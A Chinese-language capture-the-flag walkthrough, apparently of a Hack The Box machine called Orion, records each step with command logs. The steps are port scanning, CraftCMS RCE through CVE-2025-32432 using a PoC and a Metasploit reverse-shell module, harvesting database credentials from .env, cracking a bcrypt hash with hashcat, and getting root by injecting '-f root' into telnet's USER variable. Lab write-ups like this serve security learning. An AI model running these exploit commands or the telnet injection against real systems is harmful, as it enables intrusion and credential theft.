Task1 How many open TCP ports are listening on Orion?
hint說要-p-來指定端口全端口
1 nmap -sV -sC -p- 10.129.105.255
1 2 3 4 5 6 7 8 9 10 C:\Users\1984l>nmap 10.129.111.21 Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-08 20:37 +0800 Nmap scan report for 10.129.111.21 Host is up (0.66s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http Nmap done: 1 IP address (1 host up) scanned in 9.21 seconds
2
Task2 What is the version of CraftCMS running on the target?
看來掃出了點東西:
1 2 3 4 5 6 7 8 [20:49:08] 404 - 52KB - /actions/seomatic/meta [20:49:27] 302 - 0B - /admin -> http://orion.htb/admin/login [20:49:36] 302 - 0B - /admin/ -> http://orion.htb/admin/login [20:49:36] 403 - 564B - /admin/.htaccess [20:49:40] 302 - 0B - /admin/admin -> http://orion.htb/admin/login [20:49:39] 200 - 39KB - /admin/admin/login [20:49:44] 302 - 0B - /admin/index -> http://orion.htb/admin/login [20:49:46] 200 - 39KB - /admin/login
5.6.16
Task3 找到了相關的CVE , CVE-2025-32432 , 好像是RCE的 , 找到了POC
用法:
1 2 python3 CVE-2025-32432.py -u http://orion.htb -c "id" python3 CVE-2025-32432.py -u http://orion.htb -c "whoami"
www-data
是可以用的
用msf找一找:
1 2 msfconsole search cve:2025-32432
msf一樣是可以找到的:
1 2 3 4 5 6 7 8 9 10 11 12 msf > use exploit/linux/http/craftcms_preauth_rce_cve_2025_32432 msf exploit(linux/http/craftcms_preauth_rce_cve_2025_32432) > set RHOSTS orion.htb RHOSTS => orion.htb msf exploit(linux/http/craftcms_preauth_rce_cve_2025_32432) > set RPORT 80 RPORT => 80 msf exploit(linux/http/craftcms_preauth_rce_cve_2025_32432) > set LHOST 10.10.17.141 LHOST => 10.10.17.141 msf exploit(linux/http/craftcms_preauth_rce_cve_2025_32432) > set LPORT 4455 LPORT => 4455 msf exploit(linux/http/craftcms_preauth_rce_cve_2025_32432) > run
鼠鼠wsl轉發有問題 , 改用了windows的msf
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 help shell script '/dev/null' -c '/bin/bash' www-data@orion:~/html/craft/web$ cd .. cd ..www-data@orion:~/html/craft$ ls ls bootstrap.php composer.lock craft templates web composer.json config storage vendor www-data@orion:~/html/craft$ ls -la ls -latotal 364 drwxrwxr-x 7 www-data www-data 4096 Mar 6 2026 . drwxr-xr-x 3 root root 4096 Mar 6 2026 .. -rw-rw-r-- 1 www-data www-data 718 Mar 6 2026 .env -rw-rw-r-- 1 www-data www-data 411 Nov 18 2025 .env.example.dev -rw-rw-r-- 1 www-data www-data 623 Nov 18 2025 .env.example.production -rw-rw-r-- 1 www-data www-data 619 Nov 18 2025 .env.example.staging -rw-rw-r-- 1 www-data www-data 31 Nov 18 2025 .gitignore -rw-rw-r-- 1 www-data www-data 624 Nov 18 2025 bootstrap.php -rw-rw-r-- 1 www-data www-data 611 Mar 6 2026 composer.json -rw-rw-r-- 1 www-data www-data 310507 Mar 6 2026 composer.lock drwxrwxr-x 4 www-data www-data 4096 Mar 6 2026 config -rwxr-xr-x 1 www-data www-data 309 Nov 18 2025 craft drwxrwxr-x 5 www-data www-data 4096 Mar 6 2026 storage drwxrwxr-x 2 www-data www-data 4096 Mar 10 2026 templates drwxrwxr-x 49 www-data www-data 4096 Mar 6 2026 vendor drwxrwxr-x 4 www-data www-data 4096 Mar 7 2026 web www-data@orion:~/html/craft$ getcap -r / 2>/dev/null getcap -r / 2>/dev/null/snap/snapd/25577/usr/lib/snapd/snap-confine cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_setgid,cap_setuid,cap_sys_chroot,cap_sys_ptrace,cap_sys_admin=p /snap/core20/1822/usr/bin/ping cap_net_raw=ep /usr/bin/mtr-packet cap_net_raw=ep /usr/bin/ping cap_net_raw=ep /usr/lib/snapd/snap-confine cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_setgid,cap_setuid,cap_sys_chroot,cap_sys_ptrace,cap_sys_admin,cap_sys_resource=p /usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper cap_net_bind_service,cap_net_admin=ep
cat 一下.env:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 SuperSecureCraft123Pass!# Read about configuration, here: # https://craftcms.com/docs/5.x/configure.html # The application ID used to to uniquely store session and cache data, mutex locks, and more CRAFT_APP_ID=CraftCMS--67912ad2-1f1b-4993-bfec-e64daa5c23ff # The environment Craft is currently running in (dev, staging, production, etc.) CRAFT_ENVIRONMENT=dev # General settings CRAFT_SECURITY_KEY=RRS86F6i2JQKdC6kfEI7frVxA47WVMx8 CRAFT_DEV_MODE=true CRAFT_ALLOW_ADMIN_CHANGES=true CRAFT_DISALLOW_ROBOTS=true CRAFT_DB_DRIVER=mysql CRAFT_DB_SERVER=127.0.0.1 CRAFT_DB_PORT=3306 CRAFT_DB_DATABASE=orion CRAFT_DB_USER=root CRAFT_DB_PASSWORD=SuperSecureCraft123Pass! CRAFT_DB_SCHEMA= CRAFT_DB_TABLE_PREFIX=
Task 6 Submit the flag located in the Adam user’s home directory.
沒有限權入Adam上 , SuperSecureCraft123Pass! 不是www-data的password , 可惜了
先進sql先吧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 mysql -u root -p orion SuperSecureCraft123Pass! MariaDB [orion]> select * from users; MariaDB [orion]> select id,admin,username,email,password select id,admin,username,email,password -> from users ; from users ; +----+-------+----------+----------------+--------------------------------------------------------------+ | id | admin | username | email | password | +----+-------+----------+----------------+--------------------------------------------------------------+ | 1 | 1 | admin | adam@orion.htb | $2y$13$e9zuohgFZzGtbQalcn9Mz.5PJbjxobO0GMbXo8NHp3P/B42LUg0lS | +----+-------+----------+----------------+--------------------------------------------------------------+ 1 row in set (0.001 sec) MariaDB [orion]>
$2y$13$e9zuohgFZzGtbQalcn9Mz.5PJbjxobO0GMbXo8NHp3P/B42LUg0lS 是什麼?
這是一串經過 Bcrypt 演算法加密後的密碼雜湊值（Hash），在 Linux 系統、Web 應用程式（如你正在打的 Craft CMS）以及資料庫中非常常見。
用hashcat來爆破:
1 2 3 4 5 echo '$2y$13$e9zuohgFZzGtbQalcn9Mz.5PJbjxobO0GMbXo8NHp3P/B42LUg0lS' > hash.txthashcat -m 3200 hash.txt /home/ghsc/rockyou.txt $2y$13$e9zuohgFZzGtbQalcn9Mz .5PJbjxobO0GMbXo8NHp3P/B42LUg0lS:darkangel
password是darkangel
可以用ssh的方式來:
1 2 3 4 5 6 7 8 9 10 ssh adam@10.129.112.100 darkangel adam@orion:~$ ls ls user.txt adam@orion:~$ cat user.txt cat user.txt213d30349465203cee6755c0a1f99cfa adam@orion:~$
Task 7 Which service, unrelated to CraftCMS, is open only locally on Orion?
1 2 3 4 5 6 /snap/snapd/25577/usr/lib/snapd/snap-confine cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_setgid,cap_setuid,cap_sys_chroot,cap_sys_ptrace,cap_sys_admin=p /snap/core20/1822/usr/bin/ping cap_net_raw=ep /usr/bin/mtr-packet cap_net_raw=ep /usr/bin/ping cap_net_raw=ep /usr/lib/snapd/snap-confine cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_setgid,cap_setuid,cap_sys_chroot,cap_sys_ptrace,cap_sys_admin,cap_sys_resource=p /usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper cap_net_bind_service,cap_net_admin=ep
用netstat -tulnp來尋找提權路徑的關鍵入口 , 是因為它能揭示系統中以高權限運行但未對公網暴露的內部服務。
當獲取低權限 Shell 後，執行 netstat -tulnp 可以梳理出兩類關鍵信息：
綁定在本地（127.0.0.1 或 localhost）的服務
該服務對應的進程權限（是否以 root 或高權限用戶運行）
Telnet 協議支持客戶端與服務端在握手階段協商環境變量。客戶端在連接時，可以主動向服務端宣告自己的環境變量（例如 USER、TERM 等）。
Port 23 是 Telnet 服務的預設標準網路端口
所以可以看見有23 port , 看看version:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 adam@orion:~$ netstat -tulnp netstat -tulnp (Not all processes could be identified, non-owned process info will not be shown, you would have to be root to see it all.) Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN - tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN - tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:23 0.0.0.0:* LISTEN - tcp6 0 0 :::22 :::* LISTEN - udp 0 0 127.0.0.53:53 0.0.0.0:* - udp 0 0 0.0.0.0:68 0.0.0.0:* - adam@orion:~$ telnet --version telnet --version telnet (GNU inetutils) 2.7 Copyright (C) 2025 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>. This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Written by many authors.
查查2.7有沒有CVE
1 USER="-f root" telnet -a 127.0.0.1
答案是telnet
Task 8 What is the version of the service found?
2.7
1 2 3 4 5 6 root@orion:~# ls ls root.txt snap root@orion:~# cat root.txt cat root.txt56269d1fb358e71183fcf4db54631f20
